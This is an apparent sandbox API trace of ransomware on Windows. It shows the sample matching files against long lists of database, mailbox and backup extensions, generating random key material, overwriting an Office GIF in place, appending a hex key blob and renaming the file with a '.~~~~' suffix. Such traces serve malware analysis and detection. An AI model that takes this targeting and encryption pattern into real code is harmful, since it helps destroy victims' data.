	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".OST") returned 0x0
	[0143.089] lstrlenW (lpString=".dbx") returned 4
	[0143.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dbx") returned 0x0
	[0143.090] lstrlenW (lpString=".DB3") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DB3") returned 0x0
	[0143.090] lstrlenW (lpString=".DAT") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DAT") returned 0x0
	[0143.090] lstrlenW (lpString=".VHDX") returned 5
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.090] lstrlenW (lpString=".ndf") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".ndf") returned 0x0
	[0143.090] lstrlenW (lpString=".DB") returned 3
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DB") returned 0x0
	[0143.090] lstrlenW (lpString=".sql") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".sql") returned 0x0
	[0143.090] lstrlenW (lpString=".MYD") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".MYD") returned 0x0
	[0143.090] lstrlenW (lpString=".DBT") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DBT") returned 0x0
	[0143.090] lstrlenW (lpString=".ACCDB") returned 6
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.090] lstrlenW (lpString=".fdb") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".fdb") returned 0x0
	[0143.090] lstrlenW (lpString=".bak") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".bak") returned 0x0
	[0143.090] lstrlenW (lpString=".myd") returned 4
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".myd") returned 0x0
	[0143.090] lstrlenW (lpString=".DTXS") returned 5
	[0143.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.090] lstrlenW (lpString=".ckp") returned 4
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".ckp") returned 0x0
	[0143.091] lstrlenW (lpString=".dbt") returned 4
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".dbt") returned 0x0
	[0143.091] lstrlenW (lpString=".db") returned 3
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".db") returned 0x0
	[0143.091] lstrlenW (lpString=".TXT") returned 4
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".TXT") returned 0x0
	[0143.091] lstrlenW (lpString=".MDF") returned 4
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".MDF") returned 0x0
	[0143.091] lstrlenW (lpString=".bdb") returned 4
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".bdb") returned 0x0
	[0143.091] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0143.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362c70
	[0143.091] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395498) returned 1
	[0143.092] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0143.092] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0143.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0143.093] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26308283290) returned 1
	[0143.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbeb2ffd0, dwHighDateTime=0x1d60e1e)) 
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5578
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0143.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5578 | out: hHeap=0x300000) returned 1
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab0c0
	[0143.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab0c0 | out: hHeap=0x300000) returned 1
	[0143.093] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0143.094] GetLastError () returned 0x0
	[0143.094] GetLastError () returned 0x0
	[0143.094] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0143.094] GetLastError () returned 0x0
	[0143.094] GetLastError () returned 0x0
	[0143.094] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x16eb, lpOverlapped=0x0) returned 1
	[0143.227] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe915, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.227] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x16eb, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x16eb, lpOverlapped=0x0) returned 1
	[0143.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.246] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.246] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.246] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.246] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.246] CloseHandle (hObject=0x138) returned 1
	[0143.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab408
	[0143.246] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif.~~~~")) returned 1
	[0143.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab408 | out: hHeap=0x300000) returned 1
	[0143.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0143.249] GetLastError () returned 0x0
	[0143.249] RtlWakeConditionVariable () returned 0x0
	[0143.249] GetCurrentThreadId () returned 0x9f4
	[0143.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".scr") returned 0x0
	[0143.249] lstrlenW (lpString=".cmd") returned 4
	[0143.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".cmd") returned 0x0
	[0143.249] lstrlenW (lpString=".dll") returned 4
	[0143.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dll") returned 0x0
	[0143.249] lstrlenW (lpString=".bat") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".bat") returned 0x0
	[0143.250] lstrlenW (lpString=".cpl") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".cpl") returned 0x0
	[0143.250] lstrlenW (lpString=".sys") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".sys") returned 0x0
	[0143.250] lstrlenW (lpString=".msc") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".msc") returned 0x0
	[0143.250] lstrlenW (lpString=".com") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".com") returned 0x0
	[0143.250] lstrlenW (lpString=".lnk") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".lnk") returned 0x0
	[0143.250] lstrlenW (lpString=".msp") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".msp") returned 0x0
	[0143.250] lstrlenW (lpString=".pif") returned 4
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".pif") returned 0x0
	[0143.250] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0143.588] lstrlenW (lpString=".sqb") returned 4
	[0143.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".sqb") returned 0x0
	[0143.588] lstrlenW (lpString=".ost") returned 4
	[0143.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".ost") returned 0x0
	[0143.589] lstrlenW (lpString=".txt") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".txt") returned 0x0
	[0143.589] lstrlenW (lpString=".mdt") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".mdt") returned 0x0
	[0143.589] lstrlenW (lpString=".BDB") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".BDB") returned 0x0
	[0143.589] lstrlenW (lpString=".eql") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".eql") returned 0x0
	[0143.589] lstrlenW (lpString=".DBF") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DBF") returned 0x0
	[0143.589] lstrlenW (lpString=".EQL") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".EQL") returned 0x0
	[0143.589] lstrlenW (lpString=".FDB") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".FDB") returned 0x0
	[0143.589] lstrlenW (lpString=".EDB") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".EDB") returned 0x0
	[0143.589] lstrlenW (lpString=".DACPAC") returned 7
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.589] lstrlenW (lpString=".VHD") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".VHD") returned 0x0
	[0143.589] lstrlenW (lpString=".DBV") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DBV") returned 0x0
	[0143.589] lstrlenW (lpString=".dacpac") returned 7
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.589] lstrlenW (lpString=".sdf") returned 4
	[0143.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".sdf") returned 0x0
	[0143.589] lstrlenW (lpString=".accdb") returned 6
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".accdb") returned 0x0
	[0143.590] lstrlenW (lpString=".DBX") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DBX") returned 0x0
	[0143.590] lstrlenW (lpString=".MDT") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".MDT") returned 0x0
	[0143.590] lstrlenW (lpString=".SQB") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".SQB") returned 0x0
	[0143.590] lstrlenW (lpString=".vhd") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".vhd") returned 0x0
	[0143.590] lstrlenW (lpString=".bac") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".bac") returned 0x0
	[0143.590] lstrlenW (lpString=".mdf") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".mdf") returned 0x0
	[0143.590] lstrlenW (lpString=".BAK") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".BAK") returned 0x0
	[0143.590] lstrlenW (lpString=".BAC") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".BAC") returned 0x0
	[0143.590] lstrlenW (lpString=".dbs") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dbs") returned 0x0
	[0143.590] lstrlenW (lpString=".vhdx") returned 5
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.590] lstrlenW (lpString=".NDF") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".NDF") returned 0x0
	[0143.590] lstrlenW (lpString=".dat") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dat") returned 0x0
	[0143.590] lstrlenW (lpString=".DBS") returned 4
	[0143.590] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DBS") returned 0x0
	[0143.590] lstrlenW (lpString=".CKP") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".CKP") returned 0x0
	[0143.591] lstrlenW (lpString=".edb") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".edb") returned 0x0
	[0143.591] lstrlenW (lpString=".PST") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".PST") returned 0x0
	[0143.591] lstrlenW (lpString=".dbf") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dbf") returned 0x0
	[0143.591] lstrlenW (lpString=".SQL") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".SQL") returned 0x0
	[0143.591] lstrlenW (lpString=".pst") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".pst") returned 0x0
	[0143.591] lstrlenW (lpString=".dbv") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dbv") returned 0x0
	[0143.591] lstrlenW (lpString=".SDF") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".SDF") returned 0x0
	[0143.591] lstrlenW (lpString=".dtxs") returned 5
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.591] lstrlenW (lpString=".db3") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".db3") returned 0x0
	[0143.591] lstrlenW (lpString=".OST") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".OST") returned 0x0
	[0143.591] lstrlenW (lpString=".dbx") returned 4
	[0143.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dbx") returned 0x0
	[0143.591] lstrlenW (lpString=".DB3") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DB3") returned 0x0
	[0143.592] lstrlenW (lpString=".DAT") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DAT") returned 0x0
	[0143.592] lstrlenW (lpString=".VHDX") returned 5
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.592] lstrlenW (lpString=".ndf") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".ndf") returned 0x0
	[0143.592] lstrlenW (lpString=".DB") returned 3
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DB") returned 0x0
	[0143.592] lstrlenW (lpString=".sql") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".sql") returned 0x0
	[0143.592] lstrlenW (lpString=".MYD") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".MYD") returned 0x0
	[0143.592] lstrlenW (lpString=".DBT") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DBT") returned 0x0
	[0143.592] lstrlenW (lpString=".ACCDB") returned 6
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.592] lstrlenW (lpString=".fdb") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".fdb") returned 0x0
	[0143.592] lstrlenW (lpString=".bak") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".bak") returned 0x0
	[0143.592] lstrlenW (lpString=".myd") returned 4
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".myd") returned 0x0
	[0143.592] lstrlenW (lpString=".DTXS") returned 5
	[0143.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.592] lstrlenW (lpString=".ckp") returned 4
	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".ckp") returned 0x0
	[0143.593] lstrlenW (lpString=".dbt") returned 4
	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".dbt") returned 0x0
	[0143.593] lstrlenW (lpString=".db") returned 3
	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".db") returned 0x0
	[0143.593] lstrlenW (lpString=".TXT") returned 4
	[0143.593] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF", lpSrch=".TXT") returned 0x0
	[0143.593] lstrlenW (lpString=".MDF") returned 4
